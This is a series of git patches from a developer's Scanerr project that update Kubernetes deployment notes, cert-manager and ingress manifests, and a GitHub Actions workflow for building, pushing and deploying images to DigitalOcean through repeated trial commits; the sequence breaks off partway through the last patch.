+++ b/k8s/kubernetes-notes.md
@@ -87,7 +87,7 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 1. Create docker secrets  
-- `kubectl $scanerrk8s create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
+- `kubectl create secret docker-registry regcred --docker-server=https://index.docker.io/v1/ --docker-username=<username> --docker-password=<password> --docker-email=<email>` 
 
 
 ### 1. Build Dockerfile into image
@@ -96,32 +96,42 @@ kubectl port-forward service/app-service 8000:8000
 
 
 ### 2. Install nginx ingress controler on cluster
-`kubectl $scanerrk8s apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- `kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.1.1/deploy/static/provider/do/deploy.yaml`
+- Then add and `A` record for domain that points to new loadbalancer
 
 
-### 3. Spin Scanerr deployments and services
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+### 3. Update ingress-nginx-controler "Service file" with domain
+- add the below annotation 
+- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api2.scanerr.io"`
+
+
+### 4. Spin up Scanerr deployments and services
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-configs.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/redis-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-deployment.yaml`
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/celery-deployment.yaml`
 
 
-### 4. Add app Ingress
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+### 5. Add app Ingress
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
-### 5. Install cert-manager
-- `kubectl $scanerrk8s apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
+### 6. Install cert-manager
+- `kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.12.0/cert-manager.yaml`
 
 
-### 6. Add cert issure
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+### 7. Add cert issure
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-cert-issuer.yaml`
+- NOTE: May have to wait a bit before running this one
   
 
-### 7. Update app Ingress for TLS 
-- Uncomment the TLS section, cert-manager.io/cluster-issuer annotation & reapply 
-- `kubectl $scanerrk8s apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
+### 8. Update app Ingress for TLS 
+- Uncomment the "TLS section" & "cert-manager.io/cluster-issuer annotation" then reapply 
+- `kubectl apply -f /Users/landon/Documents/Coding/Scanerr/server/k8s/prod/app-ingress.yaml`
 
 
-### 8. Update ingress-nginx-controler with domain
-- add the below annotation 
-- `service.beta.kubernetes.io/do-loadbalancer-hostname: "api1.scanerr.io"`
\ No newline at end of file
+### NOTES:
+ - When reprovisioning to new domains and SSL certs ensure all `certificates` & `secrets` are deleted
+   - `kubectl delete certificate <cert-name>`
+   - `kubectl delete secret <sec-name>` ... may have to do this in the k8s dashboard
+
diff --git a/k8s/prod/app-cert-issuer.yaml b/k8s/prod/app-cert-issuer.yaml
index a209dd61..761662e3 100644
--- a/k8s/prod/app-cert-issuer.yaml
+++ b/k8s/prod/app-cert-issuer.yaml
@@ -6,7 +6,7 @@ metadata:
 spec:
   acme:
     # The ACME server URL
-    server: https://acme-staging-v02.api.letsencrypt.org/directory # https://acme-v02.api.letsencrypt.org/directory
+    server: https://acme-v02.api.letsencrypt.org/directory # https://acme-staging-v02.api.letsencrypt.org/directory
     # Email address used for ACME registration
     email: hello@scanerr.io
     # Name of a secret used to store the ACME account private key
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 5c841598..56be1ddf 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -18,8 +18,8 @@ spec:
         - name: regcred
       containers:
         - name: scanerr-server
-          image: landonr/scanerr-server
-          imagePullPolicy: IfNotPresent
+          image: <IMAGE> # landonr/scanerr-server
+          imagePullPolicy: Always
           ports:
             - containerPort: 8000
           command: ["/bin/sh", "-c"]
diff --git a/k8s/prod/app-ingress.yaml b/k8s/prod/app-ingress.yaml
index dc192178..b992937d 100644
--- a/k8s/prod/app-ingress.yaml
+++ b/k8s/prod/app-ingress.yaml
@@ -1,16 +1,18 @@
 apiVersion: networking.k8s.io/v1
 kind: Ingress
 metadata:
+  ## ensure below section is commented out on first creation ##
   annotations:
-    cert-manager.io/cluster-issuer: letsencrypt-nginx
+    cert-manager.io/cluster-issuer: letsencrypt-nginx     
   name: app-ingress
 spec:
+  ## ensure below section is comented out on first creation ##
   tls:
     - hosts:
-      - api1.scanerr.io
+      - api2.scanerr.io
       secretName: letsencrypt-nginx
   rules:
-  - host: api1.scanerr.io
+  - host: api2.scanerr.io
     http:
       paths:
       - backend:
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 9ed7b8e9..74b5d581 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -18,8 +18,8 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: landonr/scanerr-server
-          imagePullPolicy: IfNotPresent
+          image: <IMAGE> # landonr/scanerr-server
+          imagePullPolicy: Always
           command: ["celery", "-A", "scanerr", "worker", "--beat", "--scheduler", "django", "--loglevel=info"]
           envFrom:
             - configMapRef:

From 9f3b345a65aef082fad7092080f4a56acc76b52b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:10:04 -0500
Subject: [PATCH 0007/1099] prod mode

---
 app/scanerr/settings.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index 1d4b50c8..38036859 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -21,7 +21,7 @@
 SECRET_KEY = os.environ.get('SECRET_KEY')
 
 # SECURITY WARNING: don't run with debug turned on in production!
-DEBUG = True
+DEBUG = False
 
 ALLOWED_HOSTS = ['*']
 CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT')

From 37bee0dac68071e70b53170c698460c957870797 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:13:59 -0500
Subject: [PATCH 0008/1099] delete workflow

---
 .github/workflow/wokflow.yml | 68 ------------------------------------
 1 file changed, 68 deletions(-)
 delete mode 100644 .github/workflow/wokflow.yml

diff --git a/.github/workflow/wokflow.yml b/.github/workflow/wokflow.yml
deleted file mode 100644
index 4a3fcdd5..00000000
--- a/.github/workflow/wokflow.yml
+++ /dev/null
@@ -1,68 +0,0 @@
-# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
-# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
-# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
-
-name: Build, push, and deploy
-
-# Controls when the action will run.
-on:
-  # Triggers the workflow on push request on the main branch for changes in the specified paths.
-  push:
-    branches:
-      - main
-    paths:
-      - 'app/**'
-      - 'k8s/prod/**'
-      - 'Dockerfile'
-      - '.github/workflows/**'
-
-# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
-jobs:
-  # This workflow contains a single job called "build".
-  build:
-    # The type of runner that the job will run on.
-    runs-on: ubuntu-latest
-    
-    # Steps represent a sequence of tasks that will be executed as part of the job
-    steps:
-
-    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
-    - name: Checkout master
-      uses: actions/checkout@main
-
-    # Install doctl.
-    - name: Install doctl
-      uses: digitalocean/action-doctl@v2
-      with:
-        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
-    
-    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
-    - name: Build container image
-      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
-
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
-
-    - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
-
-    # Update deployment files to reflect new build.
-    - name: Update app deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
-    
-    - name: Update celery deployment file
-      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
-
-    - name: Save DigitalOcean kubeconfig with short-lived credentials
-      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
-    
-    # Re-deploy app and Celery
-    - name: Deploy app
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
-    - name: Deploy celery 
-      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
-
-    - name: Verify app
-      run: kubectl rollout status deployment/app-deployment
-    - name: Verify celery
-      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 72dd40b9f52b0af6ccdb0d0d721a9f7f499137b2 Mon Sep 17 00:00:00 2001
From: Landon Roddenberry <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:15:35 -0500
Subject: [PATCH 0009/1099] Create main.yml

---
 .github/workflows/main.yml | 68 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflows/main.yml

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
new file mode 100644
index 00000000..7f715bfa
--- /dev/null
+++ b/.github/workflows/main.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment

From 71986965c655cc2a03dec895aa7528efc3f0115c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 22:09:31 -0500
Subject: [PATCH 0010/1099] adding workflows

---
 .github/workflows/main.yml | 68 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflows/main.yml

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
new file mode 100644
index 00000000..4a3fcdd5
--- /dev/null
+++ b/.github/workflows/main.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 89e80a1c11ed07377b0f8689ac26f78e5a90335c Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 22:13:40 -0500
Subject: [PATCH 0011/1099] testing new method

---
 .github/workflows/main.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml
index 7f715bfa..5806bfb0 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/main.yml
@@ -40,11 +40,11 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
-    - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
+    # - name: Log in to DigitalOcean Container Registry with short-lived credentials
+    #   run: doctl registry login --expiry-seconds 1200
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: doctl registry login --expiry-seconds 1200 && docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From 0095412fefa2bb833c1ac5c798acf9f54e97ba98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 12:58:49 -0500
Subject: [PATCH 0012/1099] testing

---
 .github/workflows/{main.yml => workflow.yml} | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)
 rename .github/workflows/{main.yml => workflow.yml} (90%)

diff --git a/.github/workflows/main.yml b/.github/workflows/workflow.yml
similarity index 90%
rename from .github/workflows/main.yml
rename to .github/workflows/workflow.yml
index 5806bfb0..7f715bfa 100644
--- a/.github/workflows/main.yml
+++ b/.github/workflows/workflow.yml
@@ -40,11 +40,11 @@ jobs:
     - name: Build container image
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
-    # - name: Log in to DigitalOcean Container Registry with short-lived credentials
-    #   run: doctl registry login --expiry-seconds 1200
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
 
     - name: Push image to DigitalOcean Container Registry
-      run: doctl registry login --expiry-seconds 1200 && docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From aab5e57b5e16e463bed8149803c4737852c3f253 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:10:38 -0500
Subject: [PATCH 0013/1099] testing nre method

---
 .github/workflows/workflow.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 7f715bfa..245227d1 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,7 +41,8 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      run: doctl registry login --expiry-seconds 1200
+      # run: doctl registry login --expiry-seconds 1200
+      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 05d54e87878357b7514458cff0385e681f9f475a Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:11:43 -0500
Subject: [PATCH 0014/1099] fixing config

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 245227d1..032a380d 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN } registry.digitalocean.com
+      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 18510f67622c580bb4378c978ddaeb3f96928fbd Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 13:18:19 -0500
Subject: [PATCH 0015/1099] new method

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 032a380d..9574f48f 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} -p ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From b47a5a6202c8cd67d9092f350e6292081bb63e3b Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:07:45 -0500
Subject: [PATCH 0016/1099] new trial

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 9574f48f..d06725c0 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login --username-stdin ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From b7fcaec0c708c8a335172a5bf33ed058702a1f98 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:15:41 -0500
Subject: [PATCH 0017/1099] fixed flags

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index d06725c0..d16bf2e3 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login --username-stdin ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 2d32424da4c72334552f30cf8d1db9580ffa06f2 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 16:23:30 -0500
Subject: [PATCH 0018/1099] testing

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index d16bf2e3..7708966f 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -42,7 +42,7 @@ jobs:
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
       # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} --password-stdin ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com
+      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
       run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)

From 3814968312260fdcb2fcd88d8120ac1ea90799c7 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:07:06 -0500
Subject: [PATCH 0019/1099] testing new registry

---
 .github/workflows/workflow.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 7708966f..5edcf4bc 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -41,11 +41,11 @@ jobs:
       run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
 
     - name: Log in to DigitalOcean Container Registry with short-lived credentials
-      # run: doctl registry login --expiry-seconds 1200
-      run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
+      run: doctl registry login --expiry-seconds 1200
+      # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push registry.digitalocean.com/${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file

From fbbf687efb9e0ae3b447297dfdb14dfacc1d2b92 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:16:28 -0500
Subject: [PATCH 0020/1099] fixed file naming bug

---
 .github/workflows/workflow.yml  | 2 +-
 k8s/prod/app-deployment.yaml    | 4 ++--
 k8s/prod/celery-deployment.yaml | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index 5edcf4bc..a513fe4d 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -45,7 +45,7 @@ jobs:
       # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
-      run: docker push registry.digitalocean.com/${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
 
     # Update deployment files to reflect new build.
     - name: Update app deployment file
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 56be1ddf..1a680841 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -38,8 +38,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 74b5d581..4e9d7d72 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -26,8 +26,8 @@ spec:
                 name: app-configs
           resources:
             limits:
-              cpu: "1"
-              memory: "1Gi"
+              cpu: "2"
+              memory: "2Gi"
             requests:
               cpu: "500m"
               memory: "500Mi"

From 22186971c9397ca98ee8d3b9cffbdc87bf613685 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Fri, 21 Jul 2023 17:37:11 -0500
Subject: [PATCH 0021/1099] testing one last time

---
 .github/workflows/workflow.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/workflow.yml b/.github/workflows/workflow.yml
index a513fe4d..9adb8170 100644
--- a/.github/workflows/workflow.yml
+++ b/.github/workflows/workflow.yml
@@ -45,7 +45,7 @@ jobs:
       # run: docker login -u ${{ secrets.DOCKER_SECRET }} -p ${{ secrets.DOCKER_SECRET }} registry.digitalocean.com 
 
     - name: Push image to DigitalOcean Container Registry
